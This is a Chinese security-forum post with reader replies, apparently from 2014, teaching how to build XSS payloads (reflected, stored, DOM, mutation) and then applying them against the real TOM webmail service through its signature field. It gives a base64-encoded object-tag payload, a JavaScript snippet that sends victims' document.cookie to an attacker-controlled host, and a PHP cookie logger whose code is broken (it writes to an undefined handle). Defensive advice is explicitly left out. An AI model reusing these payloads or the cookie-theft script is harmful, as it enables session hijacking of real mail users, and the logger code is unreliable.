[零八信安征文]XSS教程(测试篇+tom邮箱实战篇)
本帖最后由 nextdoor 于 2016-7-29 10:39 编辑##########################################
#Title :XSS教程【测试篇+实战篇】
#Time :2014年5月3日
#Team:08sec team
#Author : nextdoor
#首发 : 08安全小组
##########################################
测试篇
一、反射型XSS
反射型XSS主要是提交的变量上未进行过滤,输出后当成代码执行
首先说说XSS的的输出,JS代码可能输出在html标签中,html标签属性中,html事件中
和SCRIPT标签中。
A.输出在html标签中
由于未对userinput标签进行过滤,在变量后插入我们的代码
代码执行成功了
看看我们的源码,JS代码已经插入了
B.输出在html的属性中
由于未对userinput标签进行过滤,测试后知道userinput是个变量,得出输出的位置如图
那么就构造我们的js代码为#” onerror=”alert(/08sec/);成功触发代码
首先闭合前一个双引号,最后一个双引号让他闭合onerror属性。
代码插入到img的src属性中,插入成功源码
C.输出在事件中
首先我们看到了userinput的变量的输入和输出点
看到变量userinput的值aaaaaa在onclick事件中输出构造代码,首先闭合单引号’
在注释掉aaaaaa后单引号后的值代码如下’;alert(/08sec/); // 两个斜杠注释后面的内容。结果如图
插入后的源码
D.输出在JS标签中
下面的js是输出的位置
构造代码,首先闭合”在注释后面的双引号构造的代码”; alert(/08sec/); // 触发成功
插入后的代码
二、存储型XSS
存储型的和反射型的区别就是插入到数据库中,在任何需要这个变量的时候输出。
但是利用的过程和构造xss利用代码的过程差不多。不在一一举例了。仅仅找两个代表
性的和大家交流一下。
A.输出在html标签内
首先还是看看输入点和输出点
下面构造代码,首先闭合<textarea>标签就可以了aaaaaa</textarea>
<script>alert(/08sec/);</script>插入后成功执行
插入成功之后的代码源码
B.输出在script标签里
首先找xss漏洞不要盲目的插,而要先找输入和输出点
构造我们的js利用代码
先闭合单引号在注释后面的单引号和分号利用代码aaaaaa’; alert(/08sec/); //
成功触发
插入成功后的代码
三、DOMXSS
说到DOMXSS,其实他也是反射型xss的一种,只不过它是把标签写入到innerHTML中,在通过DOM渲染出来。
就是插入innerHTML中的内容会以网页的形式显示出来。
代码如下:
测试代码执行
四、MXSS
这个漏洞是今年2月好像一个老外发现的,MXSS的意思是突变的XSS。下面是MXSS的解释:如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变),而最终导致XSS的攻击流程,被称为突变XSS。
代码如下
测试过程代码突变了
更多关于MXSS信息,参考http://hi.baidu.com/doordoor6/item/d1d3601c9d52634870d5e873
实战篇
看了上面的测试篇之后,大家或许对实战早就期待了。下面以TOM邮箱为例子进行演示。
反射型的XSS就不说了,主要说说存储型的和MXSS的。
1.存储型
测试过程
a.找输入点,并插入测试代码
首先对常用表签script放入内容中测试,发现进行原样说出,一般情况下写信是没有漏洞的,mxss漏洞下一步在测试。
那么看看其他输入的地方,发现有一个个人签名,看看个人签名处过滤的没有。哈哈,签名处没过滤。
那么我们拿一个JS代码试一下。
b.看看输出点,输出点是收件人
代码执行成功,漏洞存在。
原来测试的TOM信件中如果要<script>和<img>标签后是不能发送的,是黑名单的过滤。还过滤了很多危险的标签,不知道怎么回事,今天写文章时竟然没有过滤了,有时候有些事总是那么的莫名奇妙,可能是防恶意代码的软件关闭了。如果过滤的话一般会过滤<script>,
<img> 和<iframg>以及标签中的on事件。原来测试的<object>标签没有过滤,那么就用<object>标签吧,还有就是<object>标签会自动触发的,我看到有人在乌云上提交过自动触发的,我提交的有些晚了,在测试发现不能自动触发了,可能自动触发TOM网站已经堵住了。但是在回复,转发触发依然可以触发。
过程如下
利用的代码
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=></object>
PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=这是经过base64加密后的代码
源代码<script>alert(/08sec/);</script>
2.MXSS型
测试过程
原来测试的时候在邮件正文和邮件标题是都可以触发MXSS但是今天写文章时就不行了
啊啊肿么办啊。只有看看签名处可不可以突变了。
A.还是先找输入点,对于邮箱输入和输出比较好找,和上面的一样了
保存后不能再点击了
自己和自己发一封信
我们收到了信件,原来是直接触发的,现在也不行了
当我们点击回复,转发或全部回复时,突变代码再次进入DOM节点时,成功触发
至于代码执行后利用的过程
把888换成下面我们evil.js脚本就可以
盗取cookie的js脚本
evil.js
==========================================================
var js = document.createElement('script');
js.src = 'http://my.com/getcookie.php?c=' + document.cookie;
//my.com换成自己的网站,如果有xss平台就把js.src改为平台的地址,就不需要
下面的getcook.php了,如果过滤单引号可以把括号的内容改为Strng,在这里不再详细描述
如果感兴趣的话自己搜一下
document.body.appendChild(js);
==========================================================
这是盗取网站的代码放到我们自己的服务器上就可以了。
getcookie.php
===========================================================
$querystring = $_SERVER["QUERY_STRING"];
$querystring = $_SERVER;//接受全部内容
$link = fopen("cookie.txt","a+");
fwrite($log,$querystring);
对于xss的防御,我现在正在研究之中,还没有研究完全,暂时先不发来。
等完全搞好了,在和大家共享。如有错误的地方,希望大家提醒。 好吧,楼主人才啊,文章那么长,我还没看就表示有压力了 相当不错,看明白了 我想说的是 这么长为什么不录个教程呢 这么长 :Q 很好,很详细,谢谢分享 人才,文章那么长,我还没看就表示有压力了 没有doc文件下载吗? 先mark 有空再看 hdx好东西 谢谢分享
页:
[1]
2